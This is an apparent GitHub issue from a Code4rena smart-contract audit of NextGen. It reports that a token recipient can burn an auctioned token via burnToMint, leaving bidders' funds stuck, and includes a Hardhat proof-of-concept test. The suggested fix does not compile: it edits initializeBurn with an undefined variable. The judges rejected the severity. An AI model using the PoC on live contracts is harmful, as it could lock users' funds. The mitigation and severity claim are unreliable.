Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

recipient of mintAndAuction(...) token can use burnToMint(...) function to mint in another or same collection before auction ended #1744

Closed
c4-submissions opened this issue Nov 13, 2023 · 6 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-364 edited-by-warden sufficient quality report This report is of sufficient quality unsatisfactory does not satisfy C4 submission criteria; not eligible for awards

Comments

@c4-submissions
Copy link
Contributor

c4-submissions commented Nov 13, 2023

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L258-L272
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L297

Vulnerability details

Impact

  • All Bidders funds will get stuck in the AuctionDemo.sol contract without a means to retrieve them.

Proof of Concept

(See coded POC for Loss of funds below)

To start an auction, the functionAdmin calls the mintAndAuction(...) function in the MinterContract.sol with the address of the minted token's _recipient. To make this minted token eligible for Auction, the mintAndAuction(...)function updates mintToAuctionStatus[mintIndex] = true.

    function mintAndAuction(address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint _auctionEndTime) public FunctionAdminRequired(this.mintAndAuction.selector) {
        require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data");
        ...

        lastMintDate[_collectionID] = collectionPhases[_collectionID].allowlistStartTime + (collectionPhases[_collectionID].timePeriod * (gencore.viewCirSupply(_collectionID) - 1));
        mintToAuctionData[mintIndex] = _auctionEndTime;
        mintToAuctionStatus[mintIndex] = true;
    }

However, a malicious recipient can call the burnToMint(...) to burn the token in active auction and mint a token in a different collection as shown in the coded POC.

    function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable {
        require(burnToMintCollections[_burnCollectionID][_mintCollectionID] == true, "Initialize burn");
        require(block.timestamp >= collectionPhases[_mintCollectionID].publicStartTime && block.timestamp<=collectionPhases[_mintCollectionID].publicEndTime,"No minting");
        require ((_tokenId >= gencore.viewTokensIndexMin(_burnCollectionID)) && (_tokenId <= gencore.viewTokensIndexMax(_burnCollectionID)), "col/token id error");
        // minting new token
        uint256 collectionTokenMintIndex;
        collectionTokenMintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID);
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_mintCollectionID), "No supply");
        require(msg.value >= getPrice(_mintCollectionID), "Wrong ETH");
        uint256 mintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID);
        // burn and mint token
        address burner = msg.sender;
        gencore.burnToMint(mintIndex, _burnCollectionID, _tokenId, _mintCollectionID, _saltfun_o, burner);
        collectionTotalAmount[_mintCollectionID] = collectionTotalAmount[_mintCollectionID] + msg.value;
    }

This is possible because

  • the burnToMint(...) function does not check mintToAuctionStatus[mintIndex] status of the token it is attempting to burn.

  • the initializeBurn(...) function does not check if the mintToAuctionStatus[mintIndex] of the token token before the admin initializes the burning for the token.

ATTACK VECTOR for Loss of funds
  • Alice receives mintAndAuction(...) token with tokenId = 20000000002.
  • user start bidding on the token
  • admin initializes burn for the token mintCollectionId = 3, collectionId = 2
  • Alice calls burnToMint(...) with the tokenId = 20000000002, _burnCollectionID = 2 and _mintCollectionID = 3
  • Auction end for tokenId = 20000000002,
  • auction winner calls claimAuction(...) function but it reverts because Alice has renounced ownership of the tokenId = 20000000002 by burning to mint a new token in new collection

CODED POC for Loss of funds

Below is a POC to demonstrate that Alice can burn a token with active auction and token ownership will be transferred to the burn address
_ call mintAndAuction(...) with recipient (Alice)

  • confirm minted token belongs to recipient (Alice)
  • call burnToMint(...) with the minted token
  • confirm the token has been burnt and Alice is not the owner

Add the test case the existing nextGen.test.js file and run npx hardhat test

context("mintToAuction token can be burntToMint new token", () => {
    
    it("burn token in active auction", async function () {

      const mintedTokenId = parseInt(await contracts.hhCore.viewTokensIndexMin(2) + await contracts.hhCore.viewCirSupply(2));
      
      // 1) mint token auction
      console.log("Eligible for Auction before mint: ", await contracts.hhMinter.getAuctionStatus(mintedTokenId))
      await contracts.hhMinter.mintAndAuction(
        signers.auctioner, // _recipient
        "mint and auction test token", // _tokenData
        2, // _saltfun_o
        2, // _collectionID
        1799646112 // _auctionEndTime
      )

      console.log("Eligible for Auction after mint: ", await contracts.hhMinter.getAuctionStatus(mintedTokenId))
      console.log("Owner of minted token before burn to mint: ", await contracts.hhCore.ownerOf(mintedTokenId))
      console.log("signers.auctioner: ", signers.auctioner.address)
      
      // check that token owner is the recipient
      expect(await contracts.hhCore.ownerOf(mintedTokenId)).to.be.equal(signers.auctioner.address)


      // initialize burn for the (2,  3) collection combination
      await contracts.hhMinter.initializeBurn(2, 3, true)
      console.log("Burn Inintialized");

      // burn the token to mint another in the collectionId = 3
      await contracts.hhMinter.connect(signers.auctioner).burnToMint(2, mintedTokenId, 3, 2, {value: BigInt(10000000000000000000)})

      // 3a) unsuspectin users participate in auction
      await contracts.hhAuction.connect(signers.addr1).participateToAuction(mintedTokenId, { value: BigInt(2100000000000000) })
      await contracts.hhAuction.connect(signers.addr2).participateToAuction(mintedTokenId, { value: BigInt(3100000000000000) })
      await contracts.hhAuction.connect(signers.addr3).participateToAuction(mintedTokenId, { value: BigInt(4100000000000000) })
      // checck token is still eligible for auction
      console.log("Eligible for Auction after mint: ", await contracts.hhMinter.getAuctionStatus(mintedTokenId))
      // check that the token has been burnt
      console.log("Owner of minted token after burn to mint: ", await contracts.hhCore.ownerOf(mintedTokenId))


      // 3) check that bids are still cominig in for tokenId that was just burned
      console.log("Bids (auctionInfoData) before auction: ", await contracts.hhAuction.returnBids(mintedTokenId))

    })

Tools Used

Manual Review
Hardhat

Recommended Mitigation Steps

Add a require statement in the burnToMint(...) function in the MinterContract.sol contract to check that the mintToAuctionStatus[mintIndex] is false

function initializeBurn(uint256 _burnCollectionID, uint256 _mintCollectionID, bool _status) public FunctionAdminRequired(this.initializeBurn.selector) { 
        require((gencore.retrievewereDataAdded(_burnCollectionID) == true) && (gencore.retrievewereDataAdded(_mintCollectionID) == true), "No data");
>       require(mintToAuctionStatus[mintIndex] == false), "Cannot Burn");
        burnToMintCollections[_burnCollectionID][_mintCollectionID] = _status;
    }

Assessed type

Invalid Validation

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 13, 2023
c4-submissions added a commit that referenced this issue Nov 13, 2023
@code4rena-admin code4rena-admin changed the title recipient of mintAndAuction(...) token can use burnToMint(...) function to mint in another collection before auction ended recipient of mintAndAuction(...) token can use burnToMint(...) function to mint in another or same collection before auction ended Nov 13, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #1198

@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #1597

@c4-pre-sort
Copy link

141345 marked the issue as not a duplicate

@c4-pre-sort
Copy link

141345 marked the issue as sufficient quality report

@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Nov 26, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #364

@c4-judge c4-judge added the unsatisfactory does not satisfy C4 submission criteria; not eligible for awards label Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as unsatisfactory:
Overinflated severity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-364 edited-by-warden sufficient quality report This report is of sufficient quality unsatisfactory does not satisfy C4 submission criteria; not eligible for awards
Projects
None yet
Development

No branches or pull requests

4 participants